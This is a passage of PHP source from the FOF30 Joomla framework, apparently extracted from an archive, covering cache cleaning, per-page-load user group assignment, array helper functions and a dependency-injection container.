$params * * @return array */ private static function published(array $params = []) { $config = array_merge([ 'none' => '', 'published' => true, 'unpublished' => true, 'archived' => false, 'trash' => false, 'all' => false, ], $params); $options = []; if (!empty($config['none'])) { $options[] = HTMLHelper::_('select.option', '', Text::_($config['none'])); } if ($config['published']) { $options[] = HTMLHelper::_('select.option', '1', Text::_('JPUBLISHED')); } if ($config['unpublished']) { $options[] = HTMLHelper::_('select.option', '0', Text::_('JUNPUBLISHED')); } if ($config['archived']) { $options[] = HTMLHelper::_('select.option', '2', Text::_('JARCHIVED')); } if ($config['trash']) { $options[] = HTMLHelper::_('select.option', '-2', Text::_('JTRASHED')); } if ($config['all']) { $options[] = HTMLHelper::_('select.option', '*', Text::_('JALL')); } return $options; } /** * Options for a Published field * * Params: * - none Placeholder for no selection (empty key). Default: null. * * @param $params * * @return array */ private static function boolean(array $params = []) { $config = array_merge([ 'none' => '', ], $params); $options = []; if (!empty($config['none'])) { $options[] = HTMLHelper::_('select.option', '', Text::_($config['none'])); } $options[] = HTMLHelper::_('select.option', '1', Text::_('JYES')); $options[] = HTMLHelper::_('select.option', '0', Text::_('JNO')); return $options; } /** * Translate a component name * * @param stdClass $item The component object * * @return string $text The translated name of the extension * * @since 3.3.0 * * @see administrator/com_installer/models/extension.php */ private static function _translateComponentName($item) { // Map the manifest cache to $item. This is needed to get the name from the // manifest_cache and NOT from the name column, else some JText::_() translations fails. $mData = json_decode($item->manifest_cache); if ($mData) { foreach ($mData as $key => $value) { if ($key == 'type') { // Ignore the type field continue; } $item->$key = $value; } } $lang = Factory::getLanguage(); $source = JPATH_ADMINISTRATOR . '/components/' . $item->element; $lang->load("$item->element.sys", JPATH_ADMINISTRATOR, null, false, false) || $lang->load("$item->element.sys", $source, null, false, false) || $lang->load("$item->element.sys", JPATH_ADMINISTRATOR, $lang->getDefault(), false, false) || $lang->load("$item->element.sys", $source, $lang->getDefault(), false, false); return Text::_($item->name); } } PK���\��'�'fof30/Utils/CacheCleaner.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Utils; defined('_JEXEC') || die; use Exception; use FOF30\Container\Container; use Joomla\Application\AbstractApplication; use Joomla\Application\ConfigurationAwareApplicationInterface; use Joomla\CMS\Cache\Cache; use Joomla\CMS\Cache\CacheControllerFactoryInterface; use Joomla\CMS\Cache\Controller\CallbackController; use Joomla\CMS\Cache\Exception\CacheExceptionInterface; use Joomla\CMS\Factory; use Joomla\CMS\MVC\Model\BaseDatabaseModel; use Joomla\Registry\Registry; use Throwable; /** * A utility class to help you quickly clean the Joomla! cache */ class CacheCleaner { /** * Clears the com_modules and com_plugins cache. You need to call this whenever you alter the publish state or * parameters of a module or plugin from your code. * * @return void */ public static function clearPluginsAndModulesCache() { self::clearPluginsCache(); self::clearModulesCache(); } /** * Clears the com_plugins cache. You need to call this whenever you alter the publish state or parameters of a * plugin from your code. * * @return void */ public static function clearPluginsCache() { self::clearCacheGroups(['com_plugins'], [0, 1]); } /** * Clears the com_modules cache. You need to call this whenever you alter the publish state or parameters of a * module from your code. * * @return void */ public static function clearModulesCache() { self::clearCacheGroups(['com_modules'], [0, 1]); } /** * Clears the specified cache groups. * * @param array $clearGroups Which cache groups to clear. Usually this is com_yourcomponent to clear * your component's cache. * @param array $cacheClients Which cache clients to clear. 0 is the back-end, 1 is the front-end. If you * do not specify anything, both cache clients will be cleared. * @param string|null $event An event to run upon trying to clear the cache. Empty string to disable. If * NULL and the group is "com_content" I will trigger onContentCleanCache. * * @return void * @throws Exception */ public static function clearCacheGroups(array $clearGroups, array $cacheClients = [ 0, 1, ], ?string $event = null): void { // Early return on nonsensical input if (empty($clearGroups) || empty($cacheClients)) { return; } // Make sure I have an application object try { $app = Factory::getApplication(); } catch (Exception $e) { return; } // If there's no application object things will break; let's get outta here. if (!is_object($app)) { return; } $isJoomla4 = version_compare(JVERSION, '3.9999.9999', 'gt'); // Loop all groups to clean foreach ($clearGroups as $group) { // Groups must be non-empty strings if (empty($group) || !is_string($group)) { continue; } // Loop all clients (applications) foreach ($cacheClients as $client_id) { $client_id = (int) ($client_id ?? 0); $options = $isJoomla4 ? self::clearCacheGroupJoomla4($group, $client_id, $app) : self::clearCacheGroupJoomla3($group, $client_id, $app); // Do not call any events if I failed to clean the cache using the core Joomla API if (!($options['result'] ?? false)) { return; } /** * If you're cleaning com_content and you have passed no event name I will use onContentCleanCache. */ if ($group === 'com_content') { $cacheCleaningEvent = $event ?: 'onContentCleanCache'; } /** * Call Joomla's cache cleaning plugin event (e.g. onContentCleanCache) as well. * * @see BaseDatabaseModel::cleanCache() */ if (empty($cacheCleaningEvent)) { continue; } $fakeContainer = Container::getInstance('com_FOOBAR'); $fakeContainer->platform->runPlugins($cacheCleaningEvent, $options); } } } /** * Clean a cache group on Joomla 3 * * @param string $group The cache to clean, e.g. com_content * @param int $client_id The application ID for which the cache will be cleaned * @param object $app The current CMS application. DO NOT TYPEHINT MORE SPECIFICALLY! * * @return array Cache controller options, including cleaning result * @throws Exception */ private static function clearCacheGroupJoomla3(string $group, int $client_id, object $app): array { $options = [ 'defaultgroup' => $group, 'cachebase' => ($client_id) ? self::getAppConfigParam($app, 'cache_path', JPATH_SITE . '/cache') : JPATH_ADMINISTRATOR . '/cache', 'result' => true, ]; try { $cache = Cache::getInstance('callback', $options); /** @noinspection PhpUndefinedMethodInspection Available via __call(), not tagged in Joomla core */ $cache->clean(); } catch (Throwable $e) { $options['result'] = false; } return $options; } /** * Clean a cache group on Joomla 4 * * @param string $group The cache to clean, e.g. com_content * @param int $client_id The application ID for which the cache will be cleaned * @param object $app The current CMS application. DO NOT TYPEHINT MORE SPECIFICALLY! * * @return array Cache controller options, including cleaning result * @throws Exception */ private static function clearCacheGroupJoomla4(string $group, int $client_id, object $app): array { // Get the default cache folder. Start by using the JPATH_CACHE constant. $cacheBaseDefault = JPATH_CACHE; $appClientId = 0; if (method_exists($app, 'getClientId')) { $appClientId = $app->getClientId(); } // -- If we are asked to clean cache on the other side of the application we need to find a new cache base if ($client_id != $appClientId) { $cacheBaseDefault = (($client_id) ? JPATH_SITE : JPATH_ADMINISTRATOR) . '/cache'; } // Get the cache controller's options $options = [ 'defaultgroup' => $group, 'cachebase' => self::getAppConfigParam($app, 'cache_path', $cacheBaseDefault), 'result' => true, ]; try { $container = Factory::getContainer(); if (empty($container)) { throw new \RuntimeException('Cannot get Joomla 4 application container'); } /** @var CacheControllerFactoryInterface $cacheControllerFactory */ $cacheControllerFactory = $container->get(CacheControllerFactoryInterface::class); if (empty($cacheControllerFactory)) { throw new \RuntimeException('Cannot get Joomla 4 cache controller factory'); } /** @var CallbackController $cache */ $cache = $cacheControllerFactory->createCacheController('callback', $options); if (empty($cache) || !method_exists($cache, 'clean')) { throw new \RuntimeException('Cannot get Joomla 4 cache controller'); } $cache->clean(); } catch (CacheExceptionInterface $exception) { $options['result'] = false; } catch (Throwable $e) { $options['result'] = false; } return $options; } private static function getAppConfigParam(?object $app, string $key, $default = null) { /** * Any kind of Joomla CMS, Web, API or CLI application extends from AbstractApplication and has the get() * method to return application configuration parameters. */ if (is_object($app) && ($app instanceof AbstractApplication)) { return $app->get($key, $default); } /** * A custom application may instead implement the Joomla\Application\ConfigurationAwareApplicationInterface * interface (Joomla 4+), in whihc case it has the get() method to return application configuration parameters. */ if (is_object($app) && interface_exists('Joomla\Application\ConfigurationAwareApplicationInterface', true) && ($app instanceof ConfigurationAwareApplicationInterface)) { return $app->get($key, $default); } /** * A Joomla 3 custom application may simply implement the get() method without implementing an interface. */ if (is_object($app) && method_exists($app, 'get')) { return $app->get($key, $default); } /** * At this point the $app variable is not an object or is something I can't use. Does the Joomla Factory still * has the legacy static method getConfig() to get the application configuration? If so, use it. */ if (method_exists(Factory::class, 'getConfig')) { try { $jConfig = Factory::getConfig(); if (is_object($jConfig) && ($jConfig instanceof Registry)) { $jConfig->get($key, $default); } } catch (Throwable $e) { /** * Factory tries to go through the application object. It might fail if there is a custom application * which doesn't implement the interfaces Factory expects. In this case we get a Fatal Error whcih we * can trap and fall through to the next if-block. */ } } /** * When we are here all hope is nearly lost. We have to do a crude approximation of Joomla Factory's code to * create an application configuration Registry object and retrieve the configuration values. This will work as * long as the JConfig class (defined in configuration.php) has been loaded. */ $configPath = defined('JPATH_CONFIGURATION') ? JPATH_CONFIGURATION : (defined('JPATH_ROOT') ? JPATH_ROOT : null); $configPath = $configPath ?? (__DIR__ . '/../../..'); $configFile = $configPath . '/configuration.php'; if (!class_exists('JConfig') && @file_exists($configFile) && @is_file($configFile) && @is_readable($configFile)) { require_once $configFile; } if (class_exists('JConfig')) { try { $jConfig = new Registry(); $configObject = new \JConfig(); $jConfig->loadObject($configObject); return $jConfig->get($key, $default); } catch (Throwable $e) { return $default; } } /** * All hope is lost. I can't find the application configuration. I am returning the default value and hope stuff * won't break spectacularly... */ return $default; } } PK���\� ܄fof30/Utils/DynamicGroups.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Utils; defined('_JEXEC') || die; use FOF30\Container\Container; use ReflectionClass; use ReflectionException; use ReflectionObject; /** * Dynamic user to user group assignment. * * This class allows you to add / remove the currently logged in user to a user group without writing the information to * the database. This is useful when you want to allow core and third party code to allow or prohibit display of * information and / or taking actions based on a condition controlled in your code. */ class DynamicGroups { /** * Add the current user to a user group just for this page load. * * @param int $groupID The group ID to add the current user into. * * @return void */ public static function addGroup($groupID) { self::addRemoveGroup($groupID, true); self::cleanUpUserObjectCache(); } /** * Remove the current user from a user group just for this page load. * * @param int $groupID The group ID to remove the current user from. * * @return void */ public static function removeGroup($groupID) { self::addRemoveGroup($groupID, false); self::cleanUpUserObjectCache(); } /** * Internal function to add or remove the current user from a user group just for this page load. * * @param int $groupID The group ID to add / remove the current user from. * @param bool $add Add (true) or remove (false) the user? * * @return void */ protected static function addRemoveGroup($groupID, $add) { // Get a fake container (we need it for its platform interface) $container = Container::getInstance('com_FOOBAR'); /** * Make sure that Joomla has retrieved the user's groups from the database. * * By going through the User object's getAuthorisedGroups we force Joomla to go through Access::getGroupsByUser * which retrieves the information from the database and caches it into the Access helper class. */ $container->platform->getUser()->getAuthorisedGroups(); $container->platform->getUser($container->platform->getUser()->id)->getAuthorisedGroups(); /** * Now we can get a Reflection object into Joomla's Access helper class and manipulate its groupsByUser cache. */ $className = class_exists('Joomla\\CMS\\Access\\Access') ? 'Joomla\\CMS\\Access\\Access' : 'JAccess'; try { $reflectedAccess = new ReflectionClass($className); } catch (ReflectionException $e) { // This should never happen! $container->platform->logDebug('Cannot locate the Joomla\\CMS\\Access\\Access or JAccess class. Is your Joomla installation broken or too old / too new?'); return; } $groupsByUser = $reflectedAccess->getProperty('groupsByUser'); $groupsByUser->setAccessible(true); $rawGroupsByUser = $groupsByUser->getValue(); /** * Next up, we need to manipulate the keys of the cache which contain user to user group assignments. * * $rawGroupsByUser (JAccess::$groupsByUser) stored the group ownership as userID:recursive e.g. 0:1 for the * default user, recursive. We need to deal with four keys: 0:1, 0:0, myID:1 and myID:0 */ $user = $container->platform->getUser(); $keys = ['0:1', '0:0', $user->id . ':1', $user->id . ':0']; foreach ($keys as $key) { if (!array_key_exists($key, $rawGroupsByUser)) { continue; } $groups = $rawGroupsByUser[$key]; if ($add) { if (in_array($groupID, $groups)) { continue; } $groups[] = $groupID; } else { if (!in_array($groupID, $groups)) { continue; } $removeKey = array_search($groupID, $groups); unset($groups[$removeKey]); } $rawGroupsByUser[$key] = $groups; } // We can commit our changes back to the cache property and make it publicly inaccessible again. $groupsByUser->setValue(null, $rawGroupsByUser); $groupsByUser->setAccessible(false); /** * We are not done. Caching user groups is only one aspect of Joomla access management. Joomla also caches the * identities, i.e. the user group assignment per user, in a different cache. We need to reset it to for our * user. * * Do note that we CAN NOT use clearStatics since that also clears the user group assignment which we assigned * dynamically. Therefore calling it would destroy our work so far. */ $refProperty = $reflectedAccess->getProperty('identities'); $refProperty->setAccessible(true); $identities = $refProperty->getValue(); $keys = [$user->id, 0]; foreach ($keys as $key) { if (!array_key_exists($key, $identities)) { continue; } unset($identities[$key]); } $refProperty->setValue(null, $identities); $refProperty->setAccessible(false); } /** * Clean up the current user's authenticated groups cache. * * @return void */ protected static function cleanUpUserObjectCache() { // Get a fake container (we need it for its platform interface) $container = Container::getInstance('com_FOOBAR'); $user = $container->platform->getUser(); $reflectedUser = new ReflectionObject($user); // Clear the user group cache $refProperty = $reflectedUser->getProperty('_authGroups'); $refProperty->setAccessible(true); $refProperty->setValue($user, []); $refProperty->setAccessible(false); // Clear the view access level cache $refProperty = $reflectedUser->getProperty('_authLevels'); $refProperty->setAccessible(true); $refProperty->setValue($user, []); $refProperty->setAccessible(false); // Clear the authenticated actions cache. I haven't seen it used anywhere but it's there, so... $refProperty = $reflectedUser->getProperty('_authActions'); $refProperty->setAccessible(true); $refProperty->setValue($user, []); $refProperty->setAccessible(false); } } PK���\�p�#�(�(fof30/Utils/helpers.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ defined('_JEXEC') || die; /** * This is a modified copy of Laravel 4's "helpers.php" * * Laravel 4 is distributed under the MIT license, see https://github.com/laravel/framework/blob/master/LICENSE.txt */ if (!function_exists('array_add')) { /** * Add an element to an array if it doesn't exist. * * @param array $array * @param string $key * @param mixed $value * * @return array */ function array_add($array, $key, $value) { if (!isset($array[$key])) { $array[$key] = $value; } return $array; } } if (!function_exists('array_build')) { /** * Build a new array using a callback. * * @param array $array * @param Closure $callback * * @return array */ function array_build($array, Closure $callback) { $results = []; foreach ($array as $key => $value) { [$innerKey, $innerValue] = call_user_func($callback, $key, $value); $results[$innerKey] = $innerValue; } return $results; } } if (!function_exists('array_divide')) { /** * Divide an array into two arrays. One with keys and the other with values. * * @param array $array * * @return array */ function array_divide($array) { return [array_keys($array), array_values($array)]; } } if (!function_exists('array_dot')) { /** * Flatten a multi-dimensional associative array with dots. * * @param array $array * @param string $prepend * * @return array */ function array_dot($array, $prepend = '') { $results = []; foreach ($array as $key => $value) { if (is_array($value)) { $results = array_merge($results, array_dot($value, $prepend . $key . '.')); } else { $results[$prepend . $key] = $value; } } return $results; } } if (!function_exists('array_except')) { /** * Get all of the given array except for a specified array of items. * * @param array $array * @param array $keys * * @return array */ function array_except($array, $keys) { return array_diff_key($array, array_flip((array) $keys)); } } if (!function_exists('array_fetch')) { /** * Fetch a flattened array of a nested array element. * * @param array $array * @param string $key * * @return array */ function array_fetch($array, $key) { foreach (explode('.', $key) as $segment) { $results = []; foreach ($array as $value) { $value = (array) $value; $results[] = $value[$segment]; } $array = array_values($results); } return array_values($results); } } if (!function_exists('array_first')) { /** * Return the first element in an array passing a given truth test. * * @param array $array * @param Closure $callback * @param mixed $default * * @return mixed */ function array_first($array, $callback, $default = null) { foreach ($array as $key => $value) { if (call_user_func($callback, $key, $value)) { return $value; } } return value($default); } } if (!function_exists('array_last')) { /** * Return the last element in an array passing a given truth test. * * @param array $array * @param Closure $callback * @param mixed $default * * @return mixed */ function array_last($array, $callback, $default = null) { return array_first(array_reverse($array), $callback, $default); } } if (!function_exists('array_flatten')) { /** * Flatten a multi-dimensional array into a single level. * * @param array $array * * @return array */ function array_flatten($array) { $return = []; array_walk_recursive($array, function ($x) use (&$return) { $return[] = $x; }); return $return; } } if (!function_exists('array_forget')) { /** * Remove an array item from a given array using "dot" notation. * * @param array $array * @param string $key * * @return void */ function array_forget(&$array, $key) { $keys = explode('.', $key); while (count($keys) > 1) { $key = array_shift($keys); if (!isset($array[$key]) || !is_array($array[$key])) { return; } $array =& $array[$key]; } unset($array[array_shift($keys)]); } } if (!function_exists('array_get')) { /** * Get an item from an array using "dot" notation. * * @param array $array * @param string $key * @param mixed $default * * @return mixed */ function array_get($array, $key, $default = null) { if (is_null($key)) { return $array; } if (isset($array[$key])) { return $array[$key]; } foreach (explode('.', $key) as $segment) { if (!is_array($array) || !array_key_exists($segment, $array)) { return value($default); } $array = $array[$segment]; } return $array; } } if (!function_exists('array_only')) { /** * Get a subset of the items from the given array. * * @param array $array * @param array $keys * * @return array */ function array_only($array, $keys) { return array_intersect_key($array, array_flip((array) $keys)); } } if (!function_exists('array_pluck')) { /** * Pluck an array of values from an array. * * @param array $array * @param string $value * @param string $key * * @return array */ function array_pluck($array, $value, $key = null) { $results = []; foreach ($array as $item) { $itemValue = is_object($item) ? $item->{$value} : $item[$value]; // If the key is "null", we will just append the value to the array and keep // looping. Otherwise we will key the array using the value of the key we // received from the developer. Then we'll return the final array form. if (is_null($key)) { $results[] = $itemValue; } else { $itemKey = is_object($item) ? $item->{$key} : $item[$key]; $results[$itemKey] = $itemValue; } } return $results; } } if (!function_exists('array_pull')) { /** * Get a value from the array, and remove it. * * @param array $array * @param string $key * * @return mixed */ function array_pull(&$array, $key) { $value = array_get($array, $key); array_forget($array, $key); return $value; } } if (!function_exists('array_set')) { /** * Set an array item to a given value using "dot" notation. * * If no key is given to the method, the entire array will be replaced. * * @param array $array * @param string $key * @param mixed $value * * @return array */ function array_set(&$array, $key, $value) { if (is_null($key)) { return $array = $value; } $keys = explode('.', $key); while (count($keys) > 1) { $key = array_shift($keys); // If the key doesn't exist at this depth, we will just create an empty array // to hold the next value, allowing us to create the arrays to hold final // values at the correct depth. Then we'll keep digging into the array. if (!isset($array[$key]) || !is_array($array[$key])) { $array[$key] = []; } $array =& $array[$key]; } $array[array_shift($keys)] = $value; return $array; } } if (!function_exists('array_sort')) { /** * Sort the array using the given Closure. * * @param array $array * @param Closure $callback * * @return array */ function array_sort($array, Closure $callback) { return FOF30\Utils\Collection::make($array)->sortBy($callback)->all(); } } if (!function_exists('array_where')) { /** * Filter the array using the given Closure. * * @param array $array * @param Closure $callback * * @return array */ function array_where($array, Closure $callback) { $filtered = []; foreach ($array as $key => $value) { if (call_user_func($callback, $key, $value)) { $filtered[$key] = $value; } } return $filtered; } } if (!function_exists('ends_with')) { /** * Determine if a given string ends with a given substring. * * @param string $haystack * @param string|array $needles * * @return bool */ function ends_with($haystack, $needles) { foreach ((array) $needles as $needle) { if ((string) $needle === substr($haystack, -strlen($needle))) { return true; } } return false; } } if (!function_exists('last')) { /** * Get the last element from an array. * * @param array $array * * @return mixed */ function last($array) { return end($array); } } if (!function_exists('object_get')) { /** * Get an item from an object using "dot" notation. * * @param object $object * @param string $key * @param mixed $default * * @return mixed */ function object_get($object, $key, $default = null) { if (is_null($key) || trim($key) == '') { return $object; } foreach (explode('.', $key) as $segment) { if (!is_object($object) || !isset($object->{$segment})) { return value($default); } $object = $object->{$segment}; } return $object; } } if (!function_exists('preg_replace_sub')) { /** * Replace a given pattern with each value in the array in sequentially. * * @param string $pattern * @param array $replacements * @param string $subject * * @return string */ function preg_replace_sub($pattern, &$replacements, $subject) { return preg_replace_callback($pattern, function ($match) use (&$replacements) { return array_shift($replacements); }, $subject); } } if (!function_exists('starts_with')) { /** * Determine if a given string starts with a given substring. * * @param string $haystack * @param string|array $needles * * @return bool */ function starts_with($haystack, $needles) { foreach ((array) $needles as $needle) { if ($needle != '' && strpos($haystack, $needle) === 0) { return true; } } return false; } } if (!function_exists('value')) { /** * Return the default value of the given value. * * @param mixed $value * * @return mixed */ function value($value) { return $value instanceof Closure ? $value() : $value; } } if (!function_exists('with')) { /** * Return the given object. Useful for chaining. * * @param mixed $object * * @return mixed */ function with($object) { return $object; } } PK���\�@�=V=Vfof30/Container/Container.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Container; defined('_JEXEC') || die; use FOF30\Autoloader\Autoloader; use FOF30\Configuration\Configuration; use FOF30\Container\Exception\NoComponent; use FOF30\Dispatcher\Dispatcher; use FOF30\Encrypt\EncryptService; use FOF30\Factory\FactoryInterface; use FOF30\Inflector\Inflector; use FOF30\Input\Input as FOFInput; use FOF30\Params\Params; use FOF30\Platform\FilesystemInterface; use FOF30\Platform\Joomla\Filesystem as JoomlaFilesystem; use FOF30\Platform\PlatformInterface; use FOF30\Render\RenderInterface; use FOF30\Template\Template; use FOF30\Toolbar\Toolbar; use FOF30\TransparentAuthentication\TransparentAuthentication as TransparentAuth; use FOF30\Utils\MediaVersion; use FOF30\View\Compiler\Blade; use JDatabaseDriver; use Joomla\CMS\Factory; use Joomla\CMS\Input\Input as CMSInput; /** * Dependency injection container for FOF-powered components. * * The properties below (except componentName, bareComponentName and the ones marked with property-read) can be * configured in the fof.xml component configuration file. * * Sample fof.xml: * * <fof> * <common> * <container> * <option name="componentNamespace"><![CDATA[MyCompany\MyApplication]]></option> * <option name="frontEndPath"><![CDATA[%PUBLIC%\components\com_application]]></option> * <option name="factoryClass">magic</option> * </container> * </common> * </fof> * * The paths can use the variables %ROOT%, %PUBLIC%, %ADMIN%, %TMP%, %LOG% i.e. all the path keys returned by * Platform's * getPlatformBaseDirs() method in uppercase and surrounded by percent signs. * * * @property string $componentName The name of the component (com_something) * @property string $bareComponentName The name of the component without com_ * (something) * @property string $componentNamespace The namespace of the component's classes * (\Foobar) * @property string $frontEndPath The absolute path to the front-end files * @property string $backEndPath The absolute path to the back-end files * @property string $thisPath The preferred path. Backend for Admin * application, frontend otherwise * @property string $rendererClass The fully qualified class name of the view * renderer we'll be using. Must implement FOF30\Render\RenderInterface. * @property string $factoryClass The fully qualified class name of the MVC * Factory object, default is FOF30\Factory\BasicFactory. * @property string $platformClass The fully qualified class name of the * Platform abstraction object, default is FOF30\Platform\Joomla\Platform. * @property MediaVersion $mediaVersion A version string for media files in forms. * Default: md5 of release version, release date and site secret (if found) * * @property-read Configuration $appConfig The application configuration registry * @property-read Blade $blade The Blade view template compiler engine * @property-read JDatabaseDriver $db The database connection object * @property-read Dispatcher $dispatcher The component's dispatcher * @property-read FactoryInterface $factory The MVC object factory * @property-read FilesystemInterface $filesystem The filesystem abstraction layer object * @property-read Inflector $inflector The English word inflector (pluralise / * singularize words etc) * @property-read Params $params The component's params * @property-read FOFInput $input The input object * @property-read PlatformInterface $platform The platform abstraction layer object * @property-read RenderInterface $renderer The view renderer * @property-read \JSession $session Joomla! session storage * @property-read Template $template The template helper * @property-read TransparentAuth $transparentAuth Transparent authentication handler * @property-read Toolbar $toolbar The component's toolbar * @property-read EncryptService $crypto The component's data encryption service */ class Container extends ContainerBase { /** * Cache of created container instances * * @var array */ protected static $instances = []; /** * Public constructor. This does NOT go through the fof.xml file. You are advised to use getInstance() instead. * * @param array $values Overrides for the container configuration and services * * @throws NoComponent If no component name is specified */ public function __construct(array $values = []) { // Initialise $this->bareComponentName = ''; $this->componentName = ''; $this->componentNamespace = ''; $this->frontEndPath = ''; $this->backEndPath = ''; $this->thisPath = ''; $this->factoryClass = 'FOF30\\Factory\\BasicFactory'; $this->platformClass = 'FOF30\\Platform\\Joomla\\Platform'; $initMediaVersion = null; if (isset($values['mediaVersion']) && !is_object($values['mediaVersion'])) { $initMediaVersion = $values['mediaVersion']; unset($values['mediaVersion']); } // Try to construct this container object parent::__construct($values); // Make sure we have a component name if (empty($this['componentName'])) { throw new Exception\NoComponent; } $bareComponent = substr($this->componentName, 4); $this['bareComponentName'] = $bareComponent; // Try to guess the component's namespace if (empty($this['componentNamespace'])) { $this->componentNamespace = ucfirst($bareComponent); } else { $this->componentNamespace = trim($this->componentNamespace, '\\'); } // Make sure we have front-end and back-end paths if (empty($this['frontEndPath'])) { $this->frontEndPath = JPATH_SITE . '/components/' . $this->componentName; } if (empty($this['backEndPath'])) { $this->backEndPath = JPATH_ADMINISTRATOR . '/components/' . $this->componentName; } // Get the namespaces for the front-end and back-end parts of the component $frontEndNamespace = '\\' . $this->componentNamespace . '\\Site\\'; $backEndNamespace = '\\' . $this->componentNamespace . '\\Admin\\'; // Special case: if the frontend and backend paths are identical, we don't use the Site and Admin namespace // suffixes after $this->componentNamespace (so you may use FOF with JApplicationWeb apps) if ($this->frontEndPath == $this->backEndPath) { $frontEndNamespace = '\\' . $this->componentNamespace . '\\'; $backEndNamespace = '\\' . $this->componentNamespace . '\\'; } // Do we have to register the component's namespaces with the autoloader? $autoloader = Autoloader::getInstance(); if (!$autoloader->hasMap($frontEndNamespace)) { $autoloader->addMap($frontEndNamespace, $this->frontEndPath); } if (!$autoloader->hasMap($backEndNamespace)) { $autoloader->addMap($backEndNamespace, $this->backEndPath); } // Inflector service if (!isset($this['inflector'])) { $this['inflector'] = function (Container $c) { return new Inflector(); }; } // Filesystem abstraction service if (!isset($this['filesystem'])) { $this['filesystem'] = function (Container $c) { return new JoomlaFilesystem($c); }; } // Platform abstraction service if (!isset($this['platform'])) { if (empty($c['platformClass'])) { $c['platformClass'] = 'FOF30\\Platform\\Joomla\\Platform'; } $this['platform'] = function (Container $c) { $className = $c['platformClass']; return new $className($c); }; } if (empty($this['thisPath'])) { $this['thisPath'] = $this['frontEndPath']; if ($this->platform->isBackend()) { $this['thisPath'] = $this['backEndPath']; } } // MVC Factory service if (!isset($this['factory'])) { $this['factory'] = function (Container $c) { if (empty($c['factoryClass'])) { $c['factoryClass'] = 'FOF30\\Factory\\BasicFactory'; } if (strpos($c['factoryClass'], '\\') === false) { $class = $c->getNamespacePrefix() . 'Factory\\' . $c['factoryClass']; if (class_exists($class)) { $c['factoryClass'] = $class; } else { $c['factoryClass'] = '\\FOF30\\Factory\\' . ucfirst($c['factoryClass']) . 'Factory'; } } if (!class_exists($c['factoryClass'], true)) { $c['factoryClass'] = 'FOF30\\Factory\\BasicFactory'; } $factoryClass = $c['factoryClass']; /** @var FactoryInterface $factory */ $factory = new $factoryClass($c); if (isset($c['section'])) { $factory->setSection($c['section']); } return $factory; }; } // Component Configuration service if (!isset($this['appConfig'])) { $this['appConfig'] = function (Container $c) { $class = $c->getNamespacePrefix() . 'Configuration\\Configuration'; if (!class_exists($class, true)) { $class = '\\FOF30\\Configuration\\Configuration'; } return new $class($c); }; } // Component Params service if (!isset($this['params'])) { $this['params'] = function (Container $c) { return new Params($c); }; } // Blade view template compiler service if (!isset($this['blade'])) { $this['blade'] = function (Container $c) { return new Blade($c); }; } // Database Driver service if (!isset($this['db'])) { $this['db'] = function (Container $c) { return $c->platform->getDbo(); }; } // Request Dispatcher service if (!isset($this['dispatcher'])) { $this['dispatcher'] = function (Container $c) { return $c->factory->dispatcher(); }; } // Component toolbar provider if (!isset($this['toolbar'])) { $this['toolbar'] = function (Container $c) { return $c->factory->toolbar(); }; } // Component toolbar provider if (!isset($this['transparentAuth'])) { $this['transparentAuth'] = function (Container $c) { return $c->factory->transparentAuthentication(); }; } // View renderer if (!isset($this['renderer'])) { $this['renderer'] = function (Container $c) { if (isset($c['rendererClass']) && class_exists($c['rendererClass'])) { $class = $c['rendererClass']; $renderer = new $class($c); if ($renderer instanceof RenderInterface) { return $renderer; } } $filesystem = $c->filesystem; // Try loading the stock renderers shipped with F0F $path = dirname(__FILE__) . '/../Render/'; $renderFiles = $filesystem->folderFiles($path, '.php'); $renderer = null; $priority = 0; if (!empty($renderFiles)) { foreach ($renderFiles as $filename) { if ($filename == 'RenderBase.php') { continue; } if ($filename == 'RenderInterface.php') { continue; } $className = 'FOF30\\Render\\' . basename($filename, '.php'); if (!class_exists($className, true)) { continue; } /** @var RenderInterface $o */ $o = new $className($c); $info = $o->getInformation(); if (!$info->enabled) { continue; } if ($info->priority > $priority) { $priority = $info->priority; $renderer = $o; } } } return $renderer; }; } // Input Access service if (isset($this['input']) && (!(is_object($this['input'])) || !($this['input'] instanceof FOFInput) || !($this['input'] instanceof CMSInput)) ) { if (empty($this['input'])) { $this['input'] = []; } // This swap is necessary to prevent infinite recursion $this['rawInputData'] = array_merge($this['input']); unset($this['input']); $this['input'] = function (Container $c) { $input = new FOFInput($c['rawInputData']); unset($c['rawInputData']); return $input; }; } if (!isset($this['input'])) { $this['input'] = function () { return new FOFInput(); }; } // Session service if (!isset($this['session'])) { $this['session'] = function (Container $c) { if (version_compare(JVERSION, '3.999.999', 'le')) { return Factory::getSession(); } return Factory::getApplication()->getSession(); }; } // Template service if (!isset($this['template'])) { $this['template'] = function (Container $c) { return new Template($c); }; } // Media version string if (!isset($this['mediaVersion'])) { $this['mediaVersion'] = function (Container $c) { return new MediaVersion($c); }; if (!is_null($initMediaVersion)) { $this['mediaVersion']->setMediaVersion($initMediaVersion); } } // Encryption / cryptography service if (!isset($this['crypto'])) { $this['crypto'] = function (Container $c) { return new EncryptService($c); }; } } /** * Returns a container instance for a specific component. This method goes through fof.xml to read the default * configuration values for the container. You are advised to use this unless you have a specific reason for * instantiating a Container without going through the fof.xml file. * * Pass the value 'tempInstance' => true in the $values array to get a temporary instance. Otherwise you will get * the cached instance of the previously created container. * * @param string $component The component you want to get a container for, e.g. com_foobar. * @param array $values Container configuration overrides you want to apply. Optional. * @param string $section The application section (site, admin) you want to fetch. Any other value results in * auto-detection. * * @return Container */ public static function &getInstance($component, array $values = [], $section = 'auto') { $tempInstance = false; if (isset($values['tempInstance'])) { $tempInstance = $values['tempInstance']; unset($values['tempInstance']); } if ($tempInstance) { return self::makeInstance($component, $values, $section); } $signature = md5($component . '@' . $section); if (!isset(self::$instances[$signature])) { self::$instances[$signature] = self::makeInstance($component, $values, $section); } return self::$instances[$signature]; } /** * Returns a temporary container instance for a specific component. * * @param string $component The component you want to get a container for, e.g. com_foobar. * @param array $values Container configuration overrides you want to apply. Optional. * @param string $section The application section (site, admin) you want to fetch. Any other value results in * auto-detection. * * @return Container */ protected static function 